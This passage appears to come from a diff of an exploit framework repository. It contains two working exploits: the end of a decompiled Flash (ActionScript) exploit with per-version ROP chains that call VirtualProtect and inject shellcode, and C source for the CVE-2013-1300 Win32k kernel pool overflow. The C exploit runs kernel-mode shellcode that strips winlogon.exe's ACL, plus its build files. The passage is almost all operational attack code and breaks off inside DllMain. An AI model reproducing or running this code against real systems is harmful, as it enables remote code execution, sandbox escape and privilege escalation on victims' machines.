payload.writeUnsignedInt((vftableAddr_copy + 3269652));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,4,402,287":
|
||||
vftableAddr_copy = (vftableAddr_copy - 8507728);
|
||||
_local_5 = (vftableAddr_copy + 0xA24000);
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5582348));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1202841));
|
||||
payload.position = 76;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6927143));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 7484304));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5481024));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5107604));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5747979));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,5,502,110":
|
||||
vftableAddr_copy = (vftableAddr_copy - 11716376);
|
||||
_local_5 = (vftableAddr_copy + 0xEC6000);
|
||||
payload.position = 20;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9813154));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 448623));
|
||||
payload.position = 96;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9326463));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5731300));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 8910259));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 8630687));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,5,502,135":
|
||||
vftableAddr_copy = (vftableAddr_copy - 11716400);
|
||||
_local_5 = (vftableAddr_copy + 0xEC6000);
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1101327));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4733912));
|
||||
payload.position = 76;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4540));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 28862));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 512197));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1560889));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,5,502,146":
|
||||
vftableAddr_copy = (vftableAddr_copy - 11716320);
|
||||
_local_5 = (vftableAddr_copy + 0xEC6000);
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1101327));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4733912));
|
||||
payload.position = 76;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4540));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 28862));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 512197));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1560889));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,5,502,149":
|
||||
vftableAddr_copy = (vftableAddr_copy - 11712240);
|
||||
_local_5 = (vftableAddr_copy + 0xEC6000);
|
||||
payload.position = 5;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10373824));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4331881));
|
||||
payload.position = 77;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9292830));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5731956));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 7150772));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 3344264));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,6,602,168":
|
||||
vftableAddr_copy = (vftableAddr_copy - 11825816);
|
||||
_local_5 = (vftableAddr_copy + 0xEE9000);
|
||||
payload.position = 5;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9924439));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4370139));
|
||||
payload.position = 77;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9564155));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10736920));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5830863));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9044861));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 7984191));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,6,602,171":
|
||||
vftableAddr_copy = (vftableAddr_copy - 11834040);
|
||||
_local_5 = (vftableAddr_copy + 0xEEA000);
|
||||
payload.position = 5;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9925589));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4370636));
|
||||
payload.position = 77;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9564442));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10741016));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5771380));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10153408));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 7983199));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,6,602,180":
|
||||
vftableAddr_copy = (vftableAddr_copy - 11824712);
|
||||
_local_5 = (vftableAddr_copy + 0xEE9000);
|
||||
payload.position = 5;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9923173));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4368414));
|
||||
payload.position = 77;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9562061));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10736920));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5828990));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9042989));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 8661666));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,7,700,169":
|
||||
vftableAddr_copy = (vftableAddr_copy - 12902952);
|
||||
_local_5 = (vftableAddr_copy + 16904192);
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1116239));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10368763));
|
||||
payload.position = 76;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2586086));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 11752328));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 32732));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 8192266));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1578904));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,7,700,202":
|
||||
vftableAddr_copy = (vftableAddr_copy - 0xc4f508);
|
||||
_local_5 = (vftableAddr_copy + 0x101f000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 0x7dfcd2)); // 107dfcd2 : add esp,44h ; ret
|
||||
payload.position = 0x40;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 0x12a269)); // 1012a269 : xchg edx,esp ; add eax,dword ptr [eax]; add byte ptr [edi+5Eh],bl ; pop ecx ; ret
|
||||
payload.position = 0x50;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 0xcb497)); // 100cb497 : pop eax ; ret
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 0xb35388)); // 10b35388 : ptr to VirtualProtect
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 0x110d3d)); // 10110d3d : mov eax,dword ptr [eax] ; ret
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 0x887362)); // 10887362 : push eax ; ret
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 0x331bff)); // 10331bff : jmp esp
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(0x40);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,8,800,97":
|
||||
vftableAddr_copy = (vftableAddr_copy - 129165844);
|
||||
_local_5 = (vftableAddr_copy + 16904192);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt(vftableAddr_copy);
|
||||
payload.position = 16;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 117625919));
|
||||
payload.writeUnsignedInt(-1810746282);
|
||||
payload.writeUnsignedInt((scAddr + 76));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 122565891));
|
||||
payload.position = 44;
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 0x0400));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 123362382));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((scAddr + 192));
|
||||
payload.position = 112;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 32365));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 11760520));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1117213));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 3721232));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 8274178));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,8,800,50":
|
||||
vftableAddr_copy = (vftableAddr_copy - 12936000);
|
||||
_local_5 = (vftableAddr_copy + 17149952);
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 404531));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2583617));
|
||||
payload.position = 72;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 7914140));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4550));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 11780992));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 32684));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 142358));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1577816));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
default:
|
||||
return (null);
|
||||
};
|
||||
return (payload);
|
||||
}
|
||||
|
||||
public function exploit():Boolean
|
||||
{
|
||||
var vector_objects_entry_length:int;
|
||||
var shellcode_byte = null;
|
||||
var _local_6:uint;
|
||||
var i:int;
|
||||
var vftable_addr:uint;
|
||||
var shellcode_address:uint;
|
||||
var vector_objects_entry_idx:uint;
|
||||
var length_vector_byte_arrays:uint;
|
||||
var vector_byte_arrays:Vector.<ByteArray> = new Vector.<ByteArray>(0);
|
||||
var vector_objects:Vector.<Object> = new Vector.<Object>(0);
|
||||
var twos_object:Object = new <Object>[2, 2, 2, 2, 2, 2, 2, 2];
|
||||
var vickers_byte_array:ByteArray = new ByteArray();
|
||||
while (i < 0x0500)
|
||||
{
|
||||
vector_byte_arrays[i] = new ByteArray();
|
||||
vector_byte_arrays[i].length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
|
||||
i++;
|
||||
};
|
||||
vickers_byte_array.writeUTFBytes("vickers");
|
||||
vickers_byte_array.length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
|
||||
ApplicationDomain.currentDomain.domainMemory = vickers_byte_array;
|
||||
vector_byte_arrays[i] = new ByteArray();
|
||||
vector_byte_arrays[i].length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
|
||||
length_vector_byte_arrays = i;
|
||||
i = 0;
|
||||
while (i < (vector_byte_arrays.length - 1))
|
||||
{
|
||||
vector_byte_arrays[i++] = null;
|
||||
};
|
||||
i = 0;
|
||||
while (i < 0x8000)
|
||||
{
|
||||
vector_objects[i] = new <Object>[i, twos_object, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1];
|
||||
i++;
|
||||
};
|
||||
// _local_6 => nil => 0, makes li32(_local_6 - offset) makes it underflow!
|
||||
// Example leak: 0275ef00 => 10c4f508 0000003b 00002326
|
||||
if (((!((li16((_local_6 + 1)) == 114))) && (((vftable_addr = li32((_local_6 - 0x0100)) ) == 305419896))))
|
||||
{
|
||||
};
|
||||
if (((!((li16((_local_6 + 1)) == 114))) && (((vector_objects_entry_idx = li32((_local_6 - 248)) ) == 305419896))))
|
||||
{
|
||||
};
|
||||
vector_objects_entry_idx = (vector_objects_entry_idx >> 3);
|
||||
if (((!((li16((_local_6 + 1)) == 114))) && (((vector_objects_entry_length = li32((_local_6 - 252)) ) == 305419896))))
|
||||
{
|
||||
};
|
||||
|
||||
// No success
|
||||
if (vector_objects_entry_length != vector_objects[vector_objects_entry_idx].length)
|
||||
{
|
||||
vickers_byte_array = null;
|
||||
vector_byte_arrays[length_vector_byte_arrays] = null;
|
||||
i = 0;
|
||||
while (i < vector_objects.length)
|
||||
{
|
||||
vector_objects[i++] = null;
|
||||
};
|
||||
return (false);
|
||||
};
|
||||
|
||||
i = 0;
|
||||
while (i < vector_objects.length)
|
||||
{
|
||||
if (i != vector_objects_entry_idx)
|
||||
{
|
||||
vector_objects[i] = null;
|
||||
};
|
||||
i++;
|
||||
};
|
||||
// Use underflow to leak shellcode address
|
||||
if (((!((li16((_local_6 + 1)) == 114))) && (((shellcode_address = li32((_local_6 - 0x0200)) ) == 305419896))))
|
||||
{
|
||||
};
|
||||
shellcode_address = (shellcode_address + 0x1300);
|
||||
var rop_payload:ByteArray = makePayload(vftable_addr, shellcode_address);
|
||||
if (rop_payload == null)
|
||||
{
|
||||
return (true);
|
||||
};
|
||||
var j:uint;
|
||||
var shellcode_length:uint = shellcode.length;
|
||||
var shellcode_byte_array:ByteArray = new ByteArray();
|
||||
shellcode_byte_array.endian = "littleEndian";
|
||||
while (j < shellcode_length)
|
||||
{
|
||||
shellcode_byte = (shellcode.charAt(j) + shellcode.charAt((j + 1)));
|
||||
shellcode_byte_array.writeByte(parseInt(shellcode_byte, 16));
|
||||
j = (j + 2);
|
||||
};
|
||||
vector_byte_arrays[length_vector_byte_arrays].position = 0;
|
||||
vector_byte_arrays[length_vector_byte_arrays].endian = "littleEndian";
|
||||
vector_byte_arrays[length_vector_byte_arrays].writeBytes(rop_payload);
|
||||
vector_byte_arrays[length_vector_byte_arrays].writeBytes(shellcode_byte_array);
|
||||
// Use underflow to overwrite and get code execution
|
||||
if (li16((_local_6 + 1)) != 114)
|
||||
{
|
||||
si32((shellcode_address + 1), (_local_6 - 244));
|
||||
};
|
||||
vector_objects[vector_objects_entry_idx][1][0];
|
||||
return (true);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}//package
|
|
@ -0,0 +1,22 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2013
|
||||
VisualStudioVersion = 12.0.21005.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "schlamperei", "schlamperei\schlamperei.vcxproj", "{C093C490-61BF-433E-AEB4-80753B20DEC7}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{C093C490-61BF-433E-AEB4-80753B20DEC7}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{C093C490-61BF-433E-AEB4-80753B20DEC7}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{C093C490-61BF-433E-AEB4-80753B20DEC7}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{C093C490-61BF-433E-AEB4-80753B20DEC7}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,17 @@
|
|||
<?xml version="1.0" standalone="yes"?>
|
||||
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<SolutionPath>.\cve-2013-1300.sln</SolutionPath>
|
||||
</PropertyGroup>
|
||||
|
||||
<Target Name="all" DependsOnTargets="x86" />
|
||||
|
||||
<Target Name="x86">
|
||||
<Message Text="Building CVE-2013-1300 Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei) x86 Release version" />
|
||||
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
|
||||
</Target>
|
||||
|
||||
<Target Name="x64">
|
||||
<Message Text="CVE-2013-1300 is not supported in x64" />
|
||||
</Target>
|
||||
</Project>
|
|
@ -0,0 +1,291 @@
|
|||
/*!
|
||||
* @file dllmain.cpp
|
||||
* @brief Exploit for CVE-2013-1300 aka ms13-053
|
||||
* @detail Tested on Windows 7 32-bit.
|
||||
* Used in pwn2own 2013 to break out of chrome's sandbox.
|
||||
* Found and exploited by nils and jon of @mwrlabs.
|
||||
*/
|
||||
|
||||
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
// Purloined from ntstatus.h
|
||||
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth
|
||||
|
||||
#define WIN32_NO_STATUS
|
||||
#include <windows.h>
|
||||
#undef WIN32_NO_STATUS
|
||||
|
||||
#ifndef _NTDEF_
|
||||
typedef __success(return >= 0) LONG NTSTATUS;
|
||||
typedef NTSTATUS *PNTSTATUS;
|
||||
#endif
|
||||
|
||||
#define MAX_PAGE 4096
|
||||
|
||||
#define TABLE_BASE 0xff910000
|
||||
|
||||
#define EXPLOIT_MSG WM_GETTEXT
|
||||
|
||||
// global variables FTW
|
||||
HWND gHwnd = 0x0;
|
||||
unsigned int gEPROCESS = 0x0;
|
||||
unsigned gPid = 0x0;
|
||||
|
||||
typedef struct _HANDLEENTRY {
|
||||
VOID *phead;
|
||||
VOID *pOwner;
|
||||
UINT8 bType;
|
||||
UINT8 bFlags;
|
||||
UINT16 wUniq;
|
||||
} HANDLEENTRY, *PHANDLEENTRY;
|
||||
|
||||
DWORD gethandleaddress(HANDLE h) {
|
||||
HMODULE mod = GetModuleHandleA("user32.dll");
|
||||
DWORD* sharedinfo = (DWORD*)GetProcAddress(mod, "gSharedInfo");
|
||||
PHANDLEENTRY handles = (PHANDLEENTRY)sharedinfo[1];
|
||||
DWORD index = (DWORD)h&0x3ff;
|
||||
HANDLEENTRY entry = handles[index];
|
||||
return (DWORD)entry.phead;
|
||||
}
|
||||
|
||||
DWORD kernelwndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) {
|
||||
WORD um=0;
|
||||
__asm {
|
||||
mov ax, cs
|
||||
mov um, ax
|
||||
}
|
||||
if(um == 0x1b) {
|
||||
|
||||
} else {
|
||||
// KERNEL MODE CODE EXECUTION
|
||||
// shellcode to change ACL of winlogon.exe to 0x0
|
||||
__asm {
|
||||
mov eax, hwnd // WND
|
||||
mov eax, [eax+8] // THREADINFO
|
||||
mov eax, [eax] // ETHREAD
|
||||
mov eax, [eax+0x150] // KPROCESS
|
||||
mov eax, [eax+0xb8] // flink
|
||||
procloop:
|
||||
lea edx, [eax-0xb8] // KPROCESS
|
||||
mov eax, [eax]
|
||||
add edx, 0x16c // module name
|
||||
cmp dword ptr [edx], 0x6c6e6977 // "winl" for winlogon.exe
|
||||
jne procloop
|
||||
sub edx, 0x170
|
||||
mov dword ptr [edx], 0x0 // null acl
|
||||
mov eax, [edx + 0xb8] // write winlogon pid to global var
|
||||
mov gPid, eax
|
||||
}
|
||||
return 0x201000;
|
||||
}
|
||||
return DefWindowProcW(hwnd,msg,wparam,lparam);
|
||||
}
|
||||
|
||||
HWND createhelperwnd() {
|
||||
WNDCLASSA wndclass;
|
||||
HANDLE hinst = GetModuleHandleA(0);
|
||||
DWORD rc = 0;
|
||||
|
||||
wndclass.style = 0x4000;
|
||||
wndclass.lpfnWndProc = (WNDPROC)kernelwndproc;
|
||||
wndclass.cbClsExtra = 0;
|
||||
wndclass.cbWndExtra = 0;
|
||||
wndclass.hInstance = (HINSTANCE)hinst;
|
||||
wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107);
|
||||
wndclass.hCursor = 0;
|
||||
wndclass.hbrBackground = (HBRUSH)6;
|
||||
wndclass.lpszMenuName = 0;
|
||||
wndclass.lpszClassName = (LPCSTR) 0x1338;
|
||||
rc=RegisterClassA(&wndclass);
|
||||
HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1338, "helper", 0, 0, 0, 0, 0, 0, 0, 0, hinst);
|
||||
|
||||
return windowhandle;
|
||||
}
|
||||
|
||||
typedef NTSTATUS __stdcall NtAllocateVirtualMemory_T(HANDLE processHandle,
|
||||
PVOID *baseAddress,
|
||||
ULONG_PTR zeroBits,
|
||||
PSIZE_T regionSize,
|
||||
ULONG allocationType,
|
||||
ULONG protect);
|
||||
|
||||
BOOL AllocFakeEProcess(DWORD address) {
|
||||
unsigned int addr = 0x200000;
|
||||
DWORD allocsize = 0x4000;
|
||||
int x=0;
|
||||
|
||||
NtAllocateVirtualMemory_T * pfnNtAllocateVirtualMemory = 0;
|
||||
pfnNtAllocateVirtualMemory = (NtAllocateVirtualMemory_T *)GetProcAddress(
|
||||
GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
|
||||
|
||||
|
||||
unsigned o = (0x20 / 4); // the offset into the page
|
||||
NTSTATUS res = 0x0;
|
||||
|
||||
for(x=0; x<0x60; x++) {
|
||||
res = pfnNtAllocateVirtualMemory((HANDLE)0xffffffff, (PVOID*)&addr, 0, &allocsize, 0x3000, 0x40);
|
||||
if(res == 0x0) {
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
addr += 0x10000;
|
||||
}
|
||||
if(res!=0) return FALSE;
|
||||
memset((void*)addr, 0xab, 0x4000);
|
||||
UINT *eprocess = (UINT*)addr+o;
|
||||
UINT *before = (UINT*)addr;
|
||||
// large enough values to hold reference
|
||||
before[2] = 0x00080000;
|
||||
before[3] = 0x400000;
|
||||
UINT *second = (UINT*)addr + (0x1000/4);
|
||||
for(x=0; x<100; x++) eprocess[x] = (0xdead<<16) + (0xaa00 | x);
|
||||
|
||||
eprocess[0] = 0x03030303; // least significant byte == 0x3
|
||||
|
||||
// Pointer to EPROCESS_QUOTA_BLOCK
|
||||
// Will point into the window object and on decrement flip the flag to enable the kernel mode window procedure
|
||||
eprocess[0xd4/4] = address;
|
||||
|
||||
gEPROCESS = (unsigned int)eprocess;
|
||||
//for(x=0; x<100; x++) second[x] = (0xbeef<<16) + (0xbb00 | x);
|
||||
//second[0x20] = 0x2;
|
||||
//second[0x30] = 0x1;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
DWORD wndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) {
|
||||
if(msg == EXPLOIT_MSG) {
|
||||
// triggering the exploit through WM_GETTEXT
|
||||
// printf("[-] WM_GETTEXT message\n");
|
||||
unsigned char payload[] = "ABCDE ";
|
||||
payload[7] = (gEPROCESS>>16) & 0xff;
|
||||
memcpy((void *) lparam, (void *)payload, 8);
|
||||
return 8;
|
||||
}
|
||||
return DefWindowProcA(hwnd, msg, wparam, lparam);
|
||||
}
|
||||
|
||||
DWORD windowthreadproc(LPVOID arg) {
|
||||
WNDCLASSA wndclass;
|
||||
HANDLE hinst = GetModuleHandleA(0);
|
||||
DWORD rc = 0;
|
||||
MSG msg;
|
||||
|
||||
wndclass.style = 0x4000;
|
||||
wndclass.lpfnWndProc = (WNDPROC)wndproc;
|
||||
wndclass.cbClsExtra = 0;
|
||||
wndclass.cbWndExtra = 0;
|
||||
wndclass.hInstance = (HINSTANCE)hinst;
|
||||
wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107);
|
||||
wndclass.hCursor = 0;
|
||||
wndclass.hbrBackground = (HBRUSH)6;
|
||||
wndclass.lpszMenuName = 0;
|
||||
wndclass.lpszClassName = (LPCSTR) 0x1337;
|
||||
rc=RegisterClassA(&wndclass);
|
||||
|
||||
HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1337, "Jon Rocks!", 0, 0, 0, 0, 0, 0, 0, 0, hinst);
|
||||
|
||||
gHwnd = windowhandle;
|
||||
|
||||
while(1) {
|
||||
GetMessageA(&msg, 0x0, 0x0, 0x0);
|
||||
TranslateMessage(&msg);
|
||||
DispatchMessageA(&msg);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD NtUserMessageCall(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam, DWORD result, DWORD fnid, DWORD ansi) {
|
||||
__asm {
|
||||
push ansi
|
||||
push fnid
|
||||
push result
|
||||
push lparam
|
||||
push wparam
|
||||
push msg
|
||||
push hwnd
|
||||
push 0xdeadbeef
|
||||
mov eax, 11eah
|
||||
mov edx, 7ffe0300h
|
||||
call [edx]
|
||||
add esp, 20h
|
||||
}
|
||||
}
|
||||
|
||||
typedef struct _CLIENT_ID
|
||||
{
|
||||
PVOID UniqueProcess;
|
||||
PVOID UniqueThread;
|
||||
} CLIENT_ID, *PCLIENT_ID;
|
||||
|
||||
typedef long (*_RtlCreateUserThread)(HANDLE,
|
||||
PSECURITY_DESCRIPTOR,
|
||||
BOOLEAN,ULONG,
|
||||
PULONG,PULONG,
|
||||
PVOID,PVOID,
|
||||
PHANDLE,PCLIENT_ID);
|
||||
|
||||
_RtlCreateUserThread RtlCreateUserThread;
|
||||
|
||||
int Schlamperei()
|
||||
{
|
||||
// Create window which will execute the wndproc in kernel mode
|
||||
HWND wnd = createhelperwnd();
|
||||
|
||||
// Retrieve memory address of window using gSharedInfo
|
||||
DWORD addressofwnd = gethandleaddress(wnd);
|
||||
|
||||
HMODULE ntdll=LoadLibraryA("ntdll.dll");
|
||||
RtlCreateUserThread=(_RtlCreateUserThread)GetProcAddress(ntdll,"RtlCreateUserThread");
|
||||
|
||||
// Allocate fake EPROCESS in user mode
|
||||
// see "Kernel Pool Exploitation on Windows 7" by Tarjei Mandt
|
||||
if(!AllocFakeEProcess(addressofwnd-0x80+0x15)) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Create window in new thread to trigger inter thread message sending
|
||||
HANDLE thread = CreateThread(0,0,(LPTHREAD_START_ROUTINE)windowthreadproc,0,0,0);
|
||||
|
||||
Sleep(0x1000);
|
||||
|
||||
// 0x9 is size of allocation, results in buffer (8 + 4) = 12
|
||||
// 8 byte block allocations = 16 bytes
|
||||
// so we will copy in 8*2 bytes = 16 bytes to corrupt the pool pointer
|
||||
unsigned char *buf = (unsigned char *)malloc(16);
|
||||
for(int i=0; i<0x40; i++) {
|
||||
NtUserMessageCall(gHwnd, EXPLOIT_MSG, 0x8, (LPARAM)buf, 0x0, 0x2b3, 0x10);
|
||||
}
|
||||
|
||||
SendMessage(wnd, 0x401, addressofwnd, 0x0);
|
||||
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
extern HINSTANCE hAppInstance;
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
|
||||
BOOL bReturnValue = TRUE;
|
